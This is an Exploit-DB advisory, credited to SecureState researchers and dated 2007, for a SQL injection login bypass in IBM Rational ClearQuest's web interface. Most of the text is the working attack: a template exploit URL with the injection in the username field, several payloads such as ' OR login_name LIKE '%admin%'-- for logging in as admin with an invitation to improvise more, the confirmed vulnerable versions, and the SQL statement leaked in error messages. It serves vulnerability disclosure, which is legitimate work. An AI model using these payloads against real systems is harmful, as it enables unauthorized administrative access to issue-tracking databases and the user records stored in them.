IBM Rational ClearQuest - Web Authentication Bypass / SQL Injection

EDB-ID:

4286


Platform:

CGI

Published:

2007-08-14

+==============================================================+
+   IBM Rational ClearQuest Web Login Bypass (SQL Injection)   +
+==============================================================+

DISCOVERED BY:
==============
SecureState
  sasquatch - swhite@securestate.com
  rel1k - dkennedy@securestate.com

HOMEPAGE:
=========
www.securestate.com


AFFECTED AREA:
===============
The username field on the login page is where the application is susceptible to SQL injection...


SAMPLE URL:
===========
http://SERVERNAMEHERE/cqweb/main?command=GenerateMainFrame&ratl_userdb=DATABASENAMEHERE,&test=&clientServerAddress=http://SERVERNAMEHERE/cqweb/login&username='INJECTIONGOESHERE&password=PASSWORDHERE&schema=SCHEMEAHERE&userDb=DATABASENAMEHERE

Log in as "admin":
==================
' OR login_name LIKE '%admin%'--

(other variations work as well)
' OR login_name LIKE 'admin%'--
' OR LOWER(login_name) LIKE '%admin%'--
' OR LOWER(login_name) LIKE 'admin%'--
etc...use your imagination...

Confirmed against:
==================
version 7.0.0.1        Label BALTIC_PATCH.D0609.929
version 7.0.0.0-IFIX02 Label BALTIC_PATCH.D060630

FULL SQL Statement is spit back in error message:
=================================================
SELECT
   master_users.master_dbid, master_users.login_name, master_users.encrypted_password,
   master_users.email, master_users.fullname, master_users.phone, master_users.misc_info,
   master_users.is_active, master_users.is_superuser, master_users.is_appbuilder,
   master_users.is_user_maint, ratl_mastership, ratl_keysite, master_users.ratl_priv_mask
FROM
   master_users
WHERE
   login_name = 'INJECTION GOES HERE

# milw0rm.com [2007-08-14]